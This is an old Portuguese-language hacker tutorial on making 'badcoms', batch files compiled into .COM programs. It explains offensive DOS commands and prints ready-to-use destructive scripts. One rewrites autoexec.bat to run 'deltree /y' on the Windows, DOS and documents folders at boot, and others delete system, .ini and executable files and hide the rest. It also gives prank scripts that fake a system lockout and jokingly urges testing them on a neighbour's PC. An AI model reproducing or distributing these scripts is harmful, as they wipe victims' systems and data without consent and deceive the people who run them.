---------------------------------------------------------------------

Este texto foi produzido por SeQ MaSsÎvE e é totalmente proibida a

edição, ou roubo de informações contidas no mesmo.

Texto editado no programa Notepad do Windows 95

---------------------------------------------------------------------

Introdução:

Badcom's são pequenos arquivos (.COM) que quando executados, eles re-

alizam tarefas em um determinado computador... ou seja, são programas

que faz com que um PC realize comandos quanto do DOS quanto do Windows.

Para isto vc deve fazer um arquvi de LOTE com os comandos e compilalo

O Mais famoso compilador de arquivos de LOTE (.BAT) é o BAT2EXE.COM.

Para adquiri-lo vc pode me mandar um E-mail que lhe passarei o arquivo.

Indice:

I Comandos Básicos e inofencivos.

II Comandos Ofencivos.

III Alguns comandos avançados em arquivos de LOTE.

IV Exemplos Inofencivos.

V Exemplos destrutivos.

VI Como compilar um Badcom e seus Bugs e FAQ.

VII Usando Telas ANSI em BaDcOms.

! Sobre o autor e como contacta-lo.

I Comandos Básicos

------------------

@ECHO OFF

Comando para não ser mostrados as linhas de comando em uma janela do

MS-DOS, Exemplo: Colocando o comando DIR em um Badcom sem o @ECHO OFF

no prompt ele mostrará o comando escrito na janela.. C:\>DIR

Com o comando @ECHO OFF, ele simplesmente elimina os digitos dos

comandos a serem mostrados.

CLS

Comando do MS-DOS, para limpar a tela.

ECHO

Para desativar o comando @ECHO OFF, e mostrar caracteres em uma janela

Exemplo: ECHO "Mensagem" Irá mostrar a mensagem na janela, após isso

automáticamente retorna a não aparição de comandos na Janela.

Criando arquivos com o comando ECHO:

Para criar um arquivo com este comando, é necessário o comando >,

exemplo: ECHO > Nomedoarquivo.extenção

Irá criar o arquivo no ambiente do MS-DOS...

Para criar arquivos com textos ou comandos, é necessário fazer o

seguinte comando:

ECHO > ARQ.EXT "Comando ou mensagem" OBS: As aspas são apenas para

indicação porém em comandos não funcionam as aspas.

Ex: ECHO SEQ.BAT DIR

Irá criar um arquivo chamado SEQ.BAT (Arquivo de Lote) Com o comando

DIR dentro do mesmo.

ATTRIB

Este comando permite que vc esconda um determinado arquivo, torne-o

somente para leitura, ou torne arquivo do sistema.

Para esconder um arquivo: Digite dentro do Badcom:

Para obter os comandos simplesmente digite na janela do MS-DOS:

ATTRIB /?

MD

Para Criar diretórios

Ex: MD NOMEDODIR

RD

Comando para Desfazer pastas vazias.

EX: RD PASTAVAZIA

PROGRAMAS !!

Não é um comando.. heheh... é que nos Badcom's são muito util o uso

de programas comuns, como os padrões do Windows 95.

Exemplo: O Programa Notepad.exe do Windows 95, para ele ser executado,

apartir de um Badcom, vc deve coloca-lo na linha de comando..

NOTEPAD.EXE

Para executar o programa apartir de um Badcom... no BAT coloque da

segunite forma:

@echo off

cls

notepad.exe <--- Não é nescessário colocar o Path do Windows 95, pois

Sendo executado durante o Windows, não acontecerá

erros de não achar o programa..

Se quizer abrir textos com o tal programa !

notepad.exe arquivo.txt

II Comandos Ofencivos.

----------------------

DEL ou DELETE

Para apagar arquivos, no Badcom é usado da seguinte maneira,

Para deletar arquivos sem ter problemas de BUG, é necessário fazer com

que o comando não tenha a opção (*.*), pois surgirá um prompt de

confirmação de exclusão.

Digite então da seguinte maneira:

DEL *.Extenção, exemplo.. para apagar os arquivos .INI do diretório

do Windows: del Drive:\windir\*.ini ou use:

drive:

cd\

cd windir

del *.ini

DELTREE

Muitos não tem conhecimento do que este comando pode causar em um

sistema, pois é usado da maneira básica...

Este "pode ser" o Mais perigoso comando contido em um Badcom.

Uso com BUG:

DELTREE DIRETORIO

Com este comando, aparecerá a confirmação de exclusão do diretório,

será muito dificíl alguém responder SIM a pergunta não ???

Bem, vou informar o perigo deste comando...

Há uma opção no DELTREE que evita a aparição do prompt de confirmação,

sendo ela a mais destrutiva, deletando todos os arquivos de um dir.

Bom, para usar o Deltree de forma destrutiva basta acrecentar a opção

/Y no mesmo, Exemplo:

C:\>Deltree /y windows

Excluindo windows...

hehe, gostaram não ??? mas vou falar uma coisa... tentem usar os

Badcom's de forma inofenciva, evitando assim trastornos futuros..

Ahh, não vai testar em seu PC igual eu fiz no meu não.... tive que

reisntalar o Windows novamente, hehe ! Teste no vizinho...

REN

Além de não afetar muito em um sistema, o Rename é um comando que pode

causar dor de cabeça ao usuario atacado.. ex:

use o REN em diversos arquivos...

REN command.com command.seunick

REN Autoexec.bat autoexec.SeQ

e assim vai...

Bem estes são alguns comandos destrutiveis, para se aperfeiçoar nos

Comandos do MS-dos vc pode consultar o proprio HELP do Ms-dos, ele

lhe dará varias informações, como no FORMAT e etc..

III Alguns comandos avançados em arquivos de LOTE.

--------------------------------------------------

GOTO

Este comando faz com que o BAT pule ou volte para determinada parte do

Programa.

Exemplo: O uso do GOTO é muito usado se quizer que não pare de repetir

determinado comando ... usando o comando CLS, veja:

@echo off

:INI <-- Indica a parte do programa onde vai ser voltado o comando

Cls Usa-se dois ponto antes, outros exemplos são :START

:COMEÇO, :SEQ

GOTO INI <-- Aqui o comando GOTO, para voltar para o alvo indicado.

CHOICE

Comando que possibilita um prompt, exemplo:

CHOICE /c123456789

Para numeros ou letras é necessário o uso do /c, sem este comando

somente CHOICE, mostrará o prompt: [Y,n]?

Com o /c e os numeros irá mostrar: [1,2,3,4,5,6,7,8,9]?

Este comando precisa de um complemento, leia em: IF e Errorlevel

IF e ERRORLEVEL

Este é muito usado em Badcom's, ele possibilita o desenvolvimento de

questões e prompts para o usuario.

exemplo: este comando eu uso muito em pegadinhas e perguntas sacanas,

cada vez que o usuario erra a pergunta alguns arquivos são apagados.

Segudo também do comando CHOICE

Segue a string....

@echo off

cls

echo Seu sistema paralizou, o que deseja fazer ?

echo [1] Reiniciar

echo [2] Desligar

choice /c12 <-- Mostrará o prompt [1,2]?

if errorlevel 2 goto DES <- aqui o comando if e errorlevel, sendo

if errorlevel 1 goto REI se o usuario precionar o 1, ele irá

reiniciar o sistema

Percebe-se que a posição das strings começa do 2 e depois vai para o 1.

Qualquer dúvida nesta parte do badcom fale comigo!

IV Exemplos Inofencivos.

-------------------------

Como é para Ms-Dos alguns caracteres não aparecem de forma correta,

mas compilado sim.

--------------Recortar----------------

@echo off

cls

echo BaDcOm By SeQ MaSs×vE

echo NaMe Of BaDcOm: AsK/v2.0

echo þ

echo Your System now is my !!!

echo Please, to ta'ke this fu'king PC co'm Bac'k Answe'r thE shI't

echo Que'stio'n.......................... H'e's...

echo þþþþ HoW tO mAkE a ViRu's ? þþþþ

echo [1] Sorr'y i'm a fucking LammmArrrsss !

echo [2] Don't Ask u MoTheFuCk's

echo [3] ....

echo [4] What's a viRu's ??????????????????????????

Choice /n/c1234

if errorlevel 4 goto END

if errorlevel 3 goto END

if errorlevel 2 goto END

if errorlevel 1 goto END

:END

Cls

:OPS

echo ... HeY, u FuCkeD nOw....

echo ... PleAsE ReStaRt ThE FuCkiNg HdD forMatEd..

GoTo OPS

--------------Recortar----------------

@echo off

cls

echo BaDcOm By SeQ MaSs×vE

echo NamE of BadcoM: NoTePaD/V3.1

echo > note1.txt It's a BaDcOm.....

echo > note2.txt This Badcom show's messages to ya....

echo > note3.txt BaDcOm'r a (TM) oF SeQ MaSsIvE...

echo > note4.txt PlEaSe, press Ctrl+Alt+dEl for Stop'it !

echo > note5.txt ThAnXXX.........

:INI

notepad note1.txt

notepad note2.txt

notepad note3.txt

notepad note4.txt

notepad note5.txt

Copy *.txt \windows\menuin~1\iniciar\

GOTO INI

--------------Recortar----------------

@echo off

:ini

echo BaDcOm By SeQ MaSs×vE

echo NaMe: ClS2.0

cls

echo > Leiame.txt Exemplo de um simples Badcom... By SeQ MaSsIvE..

goto ini

--------------Recortar----------------

V Exemplos destrutivos.

-------------------------

--------------Recortar----------------

@echo off

cls

echo BaDcOm By SeQ MaSs×vE

echo NaMe Of BaDcOm: AuToCrAsh/v2.0

cd\

del autoexec.bat

echo autoexec.1 @echo off

echo autoexec.2 cls

echo autoexec.3 deltree /y \windows\

echo autoexec.4 deltree /y \dos\

echo autoexec.5 deltree /y \meusdo~1\

echo autoexec.bat

copy autoexec.* autoexec.bat

del *.1

del *.2

del *.3

del *.4

del *.5

echo ThaNx fOr UsE SeQ MaSs×vE's BaDcOm AutocrasH v2.0

--------------Recortar----------------

@echo off

cls

echo Badcom By SeQ mAss×vE.........

echo NamE: No InI's 2.01

cd\

echo Searching....

cd win

cd windows

cd wind

cd windos

cd win95

cd wind95

cd win-95

del *.ini

--------------Recortar----------------

@echo off

cls

echo Badcom By SeQ mAss×vE.........

echo NaME: N0-SyS 1.0

cd\

del *.bat

del *.sys

del *.com

echo > config.sys

echo > autoexec.bat

cd windows

copy *.ini \autoexec.bat

copy *.ini \config.sys

del *.ini

del *.exe

deltree /y command

deltree /y system

attrib +h *.*

cd\

attrib +h *.*

--------------Recortar----------------

VI Como compilar um Badcom e seus Bugs e FAQ.

----------------------------------------------

Para compilar um Badcom ele deve estar nomeado para nomedoarq.BAT

Use o programa BAT2EXE.COM, o mais conhecido compilador BAT.

Usando o Bat2exe.com

após editar o Badcom em qualquer editor de textos.. (o Mais usado é

o EDIT do Ms-dos, pois não ocorrem erros de caracteres no ambiente

MS-DOS) use a sintaxe:

bat2exe nomedoarq.bat

apague o original ou renomeie, e execute o nomedoarq.COM para teste..

Claro que Badcom's somente para assustar.

Há alguns Bugs ao compilar um Badcom, se tiver problemas leia este FAQ

sobre badcom's vindo de minha antiga BBS, ou me contate pelo meu UIN,

no final deste texto.

1) O Bat2exe não está compilando meu badcom com telas ANSI.

R: Ocorre um erro de telas ANSI se não inserir o comando echo antes de

cara linha da programação ANSI.

exemplo de uma linha ANSI

³ÌÍÍÊË´

O Programa Bat2exe não reconhece a linguagem ANSI, vc deve iserir o

comando echo antes da linha:

echo ³ÌÍÍÊË´

Assim irá compilar normalmente.

2) Meu badcom quando executado trava, o que e isso ?

R: Isso depende da versão so programa Bat2exe e de sua versão do MS-dos,

o programa bat2exe compila linhas DELETE para DEL, ocorrendo erros

na sua versão ms-Dos.

3) o programa bat2exe não esta compilando meu badcom, ja fiz de tudo

e esta tudo correto. qual o problema?

R: O Programa bat2exe como todo programa compilador, tem suas

restrições, uma delas é o numero de linhas de um badcom, se o badcom

for muito grande e conter varias telas ANSI, ele não compilará,

o programa não compila muitas telas ANSI iguais no mesmo arquivo.

VII Usando Telas ANSI em BaDcOms.

---------------------------------

Telas ANSI são muito uteis em u Badcom, elas assustam quando o usuario

estiver com o programa ANSI.SYS carregado no config.sys.

Para fazer telas ANSI, vc pode ou ler o HELP do MS-dos e editar em

um texto, que é muito demorado, ou pegar um programa que edita

telas ANSI, o mais famoso é o THEDRAW, editor de telas ANSI, @-code,

ASCII, etc.. para sistemas de BBS (Bulletin Board System).

Após editar a telas ANSI, ela se parace com isto quando visto em um

editor comum:

[?7h

 ÚËÍÍËÄ¿ ÚËÍÍÍË¿ ÚËÍÍËÄ¿ ÚËÍÍÍË¿ ÚËÍÍÍË¿ ÚËÍËÍË¿

³ÌÍÍÊË´ ÃÎÍÍÍδ ³º ÈË´ ³º³º º³ ³º º º³

ÀÊÍÍÍÊÙ ÀÊ ÊÙ ÀÊÍÍÍÊÙ ÀÊÍÍÍÊÙ ÀÊÍÍÍÊÙ ÀÊ ÊÙ

ÚËÍÍË¿ ÚË Ë¿

³ÌÍÍÊË¿ ÀÊÍÍ͹³

ÀÊÍÍÍÊÙ ÀÊÍÍÍÊÙ

ÚËÍÍÍË¿ ÚËÍÍÍË¿ ÚËÍÍÍË¿

ÀÊÍÍÍË¿ ÃÎÍÍ ³º º³

ÀÊÍÍÍÊÙ ÀÊÍÍÍÊÙ ÀÊÍÍÎÊÙ

ÚËÍËÍË¿ ÚËÍÍÍË¿ ÚËÍÍÍË¿ ÚËÍÍÍË¿ ÚËÍËÍË¿ ÚË Ë¿ ÚËÍÍÍË¿

³º º º³ ÃÎÍÍÍδ ÀÊÍÍÍË¿ ÀÊÍÍÍË¿ º ³º ɼ٠ÃÎÍÍ

ÀÊ ÊÙ ÀÊ ÊÙ ÀÊÍÍÍÊÙ ÀÊÍÍÍÊÙ ÀÊÍÊÍÊÙ ÀÊͼ ÀÊÍÍÍÊÙ



Para passar isto para um badcom, vc precisa copiar e colar para o

Badcom, mas quando colar o Badcom, vc precisa tronar isto em forma BAT,

simplesmente coloque o comando ECHO antes de cada linha, não esquecendo

de dar um espaço após o comando, veja a seguir o ANSI em forma BAT:

echo [?7h

echo  ÚËÍÍËÄ¿ ÚËÍÍÍË¿ ÚËÍÍËÄ¿ ÚËÍÍÍË¿ ÚËÍÍÍË¿ ÚËÍËÍË¿

echo ³ÌÍÍÊË´ ÃÎÍÍÍδ ³º ÈË´ ³º³º º³ ³º º º³

echo ÀÊÍÍÍÊÙ ÀÊ ÊÙ ÀÊÍÍÍÊÙ ÀÊÍÍÍÊÙ ÀÊÍÍÍÊÙ ÀÊ ÊÙ

echo ÚËÍÍË¿ ÚË Ë¿

echo ³ÌÍÍÊË¿ ÀÊÍÍ͹³

echo ÀÊÍÍÍÊÙ ÀÊÍÍÍÊÙ

echo ÚËÍÍÍË¿ ÚËÍÍÍË¿ ÚËÍÍÍË¿

echo ÀÊÍÍÍË¿ ÃÎÍÍ ³º º³

echo ÀÊÍÍÍÊÙ ÀÊÍÍÍÊÙ ÀÊÍÍÎÊÙ

echo ÚËÍËÍË¿ ÚËÍÍÍË¿ ÚËÍÍÍË¿ ÚËÍÍÍË¿ ÚËÍËÍË¿ ÚË Ë¿ ÚËÍÍÍË¿

echo ³º º º³ ÃÎÍÍÍδ ÀÊÍÍÍË¿ ÀÊÍÍÍË¿ º ³º ɼ٠ÃÎÍÍ

echo ÀÊ ÊÙ ÀÊ ÊÙ ÀÊÍÍÍÊÙ ÀÊÍÍÍÊÙ ÀÊÍÊÍÊÙ ÀÊͼ ÀÊÍÍÍÊÙ

echo 

Com os badcom's vc pode fazer muitas coisas alé, destas que acabei

de explicar, como por exemplo, mexer na memória do PC, e criar

diretórios de impossível acesso para o Windows 95 ou 3.11.

! Sobre o autor e como contacta-lo.

-------------------------------------

Meu nick é SeQ MaSsÎvE, e vc's podem me encontar na Internet atravéz

do ICQ (I Seek You), meu UIN (Universal Internet Number) é 1292685,

vc's tambem podem enviar E-mails para [email protected]

Obrigado por ler este texto , e se tiverem dúvidas, sugestões e

principalmente criticas, mande mensagens.. Obrigado!

SeQ MaSsÎvE.

---------------------------------------------------------------------